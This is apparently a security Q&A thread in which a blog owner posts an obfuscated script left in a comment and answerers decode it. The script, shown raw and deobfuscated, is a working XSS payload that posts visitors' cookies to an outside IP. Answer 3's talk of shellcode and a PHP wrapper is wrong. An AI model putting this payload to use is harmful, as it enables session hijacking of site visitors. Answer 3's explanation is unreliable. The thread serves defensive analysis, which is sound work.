I found obfuscated code in a comment on my blog. What should I do?

Question

Today I was checking comments on my blog and I found a strange comment, here is the exact text

<script>var _0x352a=["\x31\x31\x34\x2E\x34\x35\x2E\x32\x31\x37\x2E\x33\x33\x2F\x76\x6C\x6B\x2E\x70\x68\x70","\x63\x6F\x6F\x6B\x69\x65","\x68\x74\x6D\x6C","\x70\x6F\x73\x74"];$[_0x352a[3]](_0x352a[0],{cookie:document[_0x352a[1]]},function (){} ,_0x352a[2]);</script>

What does it mean? Is it a mistake?

Note that I had big XSS issue last summer but a security expert fixed it. Today I contacted him and he said it's okay and that I should not worry. But I am worried.

Answer 1

First of all, your security guy is likely right. It doesn't look like you have anything to worry about because from your description of the issue and the guy's response I think that the script tags were properly encoded. Think of it as a neutralized weapon. It's there, yes, but it cannot do any damage.

Running that code through a deobfuscator gives us

$["post"]("114.45.217.33/vlk.php",{cookie:document["cookie"]},function(){},"html")

Now we just "beatify" the code to make it more readable

$["post"]("114.45.217.33/vlk.php", {
    cookie: document["cookie"]
}, function () {}, "html")

As you can see, the attacker was hoping that your site is vulnerable to XSS to exploit it and steal your visitor's cookies including yours. He's also assuming/hoping that you're using jQuery, and it's actually a very reasonable assumption these days. If they manage to steal your cookies, then they'll get the session identifier and potentially log in as one of your users or even your administrator account.

I'm not sure why he left the callback function there or the response type, though. Removing them would have made the payload even smaller.

Running that IP address through a blacklist checking tool shows us that the host there is likely to be compromised. This sure looks like a random attack by a bot trying to insert that code into random blogs and sites in the hopes that one of them would be vulnerable.

Answer 2

In addition to Adnan's answer:

This is a by-product of when an attacker fuzzes your application (he just sends tons of payloads to see if one works). If your application handles encoding and escaping of user input correctly, you should not need to worry about being vulnerable.

There are some countermeasures you can take to reduce these attacks such as employing a web application firewall or intrusion detection system. These should automatically block people who are fuzzing your application. You could also require a form of reality check like a captcha or a challenge before posting is allowed (or if a lot of sequential posts are detected). This also reduces this type of pollution.

Answer 3

This is what i can understand .

Its encoded in hexadecimal . The real value is in ascii .

\x signifies that it was being used as a shellcode . Malicious user tried to send hexadecimal encoded unicode values as comment wrapped in a php function to interact with your server and compromise it .

Looks like he failed as it was detected as comment without breaking anything on your blog . But this also signifies that there might be some vulnerability in any of the components which you are using in your blog . Good thing is to check NVD or Cvedetails.com website and see if some new bugs in the components you are using in your blog .

Also there is a high possibility attacker is a skiddie and he just attacked your blog on seeing it being the same software ( not the version ;) ).